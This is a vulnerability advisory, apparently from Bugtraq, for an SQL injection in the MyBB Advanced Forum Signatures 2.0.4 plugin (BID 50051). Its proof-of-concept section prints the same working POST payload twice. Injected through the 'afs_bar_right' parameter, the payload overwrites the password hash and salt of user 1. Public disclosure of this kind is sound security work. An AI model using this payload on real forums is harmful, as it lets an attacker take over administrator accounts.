MyBB Advanced Forum Signatures 'afs_bar_right' Parameter SQL Injection Vulnerability
BID:50051
CVE-2011-5277 | CVE-2011-5278 |Info
MyBB Advanced Forum Signatures 'afs_bar_right' Parameter SQL Injection Vulnerability
| Bugtraq ID: | 50051 |
| Class: | Input Validation Error |
| CVE: |
CVE-2011-5277 CVE-2011-5278 |
| Remote: | Yes |
| Local: | No |
| Published: | Oct 11 2011 12:00AM |
| Updated: | Apr 13 2015 09:01PM |
| Credit: | Mario_Vs |
| Vulnerable: |
MyBB MyBB Advanced Forum Signatures 2.0.4 |
| Not Vulnerable: | |
Exploit / POC
MyBB Advanced Forum Signatures 'afs_bar_right' Parameter SQL Injection Vulnerability
Attackers can use a browser to exploit this issue.
The following example POST request is available:
POST -> afs_html=<a+href="http://www.example.com/mybb"><img+src="http://www.example.com/mybb/signature.php?uid=1"+alt=""+/></a>&afs_bbcode=[url=http://www.example.com/mybb][img]http://www.example.com/mybb/signature.php?uid=1[/img][/url]&afs_type=bar&afs_background=Default_Blue&afs_showonline=1&afs_full_line1=username&afs_full_line2=usergroup&afs_full_line3=postcount&afs_full_line4=registrationdate&afs_full_line5=reputation&afs_full_line6=blank&afs_bar_left=username&afs_bar_center=usergroup&afs_bar_right=postcount' , `password`= '65a1447de8e73ae67a938ae997ad4ed4', `salt`= 'NPOvUCXg' WHERE `uid`='1';--
Attackers can use a browser to exploit this issue.
The following example POST request is available:
POST -> afs_html=<a+href="http://www.example.com/mybb"><img+src="http://www.example.com/mybb/signature.php?uid=1"+alt=""+/></a>&afs_bbcode=[url=http://www.example.com/mybb][img]http://www.example.com/mybb/signature.php?uid=1[/img][/url]&afs_type=bar&afs_background=Default_Blue&afs_showonline=1&afs_full_line1=username&afs_full_line2=usergroup&afs_full_line3=postcount&afs_full_line4=registrationdate&afs_full_line5=reputation&afs_full_line6=blank&afs_bar_left=username&afs_bar_center=usergroup&afs_bar_right=postcount' , `password`= '65a1447de8e73ae67a938ae997ad4ed4', `salt`= 'NPOvUCXg' WHERE `uid`='1';--